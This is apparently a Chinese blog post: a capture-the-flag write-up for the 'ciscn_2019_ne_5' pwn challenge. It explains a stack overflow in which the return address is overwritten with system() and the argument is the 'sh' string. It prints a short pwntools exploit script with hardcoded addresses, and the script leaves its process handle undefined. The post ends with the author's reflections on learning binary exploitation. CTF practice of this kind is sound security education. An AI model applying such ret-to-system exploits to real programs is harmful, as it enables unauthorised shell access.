ciscn_2019_ne_5

  原来system的参数不一定必须是“/bin/sh”,单独的“sh”也可以拿到shell。。。

  32位程序,开启了堆栈不可执行。

  看一眼伪代码

  直接找main函数f5,会报错。

  

  我们找到地址0x8048801看看是什么

  

  是一个scanf函数,这里我们找到这个函数,先按f5把它反编译一下,之后再反编译main函数就可以成功了。

  

  两次输入,一个输出administrator就可以进入菜单,这里我们主要看功能3

  print函数跟进去。

  

  发现了system函数,这个时候我们假如可以调用这个函数,并且参数是“/bin/sh”或者是“sh”,我们就可以拿到shell了。。。这个时候就需要我们去找找这个字符串了。

  

  其实我第一次是在ida找到了。刚刚试了试发现用ROPgadget可以直接搜索到。。。突然觉得ROPgadget好强。。。

  接下来就是利用其他功能进行栈溢出了,溢出的地址覆盖成system的地址,这个时候我们就能拿到shell了。

  贴一下exp:

 1 from pwn import *
 2 import time
 3 #p = process('./ciscn_2019_ne_5')
 4 elf = ELF('./ciscn_2019_ne_5')
 5 context.log_level = 'debug'
 6 
 7 system_addr = 0x080484D0
 8 sh_addr = 0x080482Ea
 9 puts_plt = elf.plt['puts']
10 puts_got = elf.got['puts']
11 
12 p.sendlineafter('password:','administrator')
13 payload = '1'*0x48 + 'bbbb' + p32(system_addr) + 'aaaa' + p32(sh_addr)
14 p.sendlineafter(':','1')
15 p.sendlineafter('info:',payload)
16 p.sendlineafter(':','4')
17 p.interactive()

  

 

  说点题外的,从去年十月份计划开始学习pwn,断断续续一直前进不去。终于寒假了,加上疫情。只能在家,严格意义上来说是1月12号开始学习的pwn,到现在也40天了,四十天终于理解了格式化字符串,对栈溢出真正掌握了,还了解了栈迁移,学了plt、got表,libc版本的知识点。我觉得学了其实也不少。

  但是,新春战役这个比赛,我还是一道题做不出来,我真的是。。。!!!太废了。。。

  一直说要开始学习堆,却也一直没开始。。。

  😭我真的是太菜了!!!啊啊啊啊啊!!!

  我到底什么时候才能变强啊!!!

  你所谓的迷茫,不过是清醒地看着自己沉沦。!!!

  加油啊!!!你一定可以做出题来,打到线下,去见更大的世界!!!

posted @ 2020-02-22 22:13  不会修电脑  阅读(1726)  评论(6编辑  收藏  举报